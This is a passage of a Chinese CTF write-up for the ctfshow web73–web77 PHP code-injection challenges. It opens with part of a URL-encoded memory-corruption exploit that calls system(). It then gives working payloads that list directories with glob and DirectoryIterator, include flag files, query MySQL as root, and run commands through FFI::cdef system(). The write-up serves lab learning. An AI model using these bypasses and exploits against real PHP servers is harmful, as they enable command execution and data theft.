ess%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A |
web73
同web71,使用
c=var_export(scandir("/"));die();
找到flag位置
再使用
c=include("/flagc.txt");exit();
直接获取即可
web74
ban掉了scandir
可以使用glob
函数
payload:c=var_export(glob("/*"));exit();
获取flag位置后
c=include("/flagx.txt");exit();
web75
payload:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- |
使用glob伪协议获取flag位置,再通过数据库查看flag(雾):
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', |
web76
与上题一样,使用glob伪协议获取flag位置:
payload:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- |
再通过数据库查看flag:
1 | c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', |
web77
FFI,php7.4以上才有https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
可以使用上题的方法发现flag位置:
1 | c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f- |
发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。
通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 ffi->system($a); //执行命令
c=$ffi = FFI::cdef("int system(const char *command);");
payload:
c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a); exit();
之后再使用c=readgzfile("1.txt");exit;
拿到flag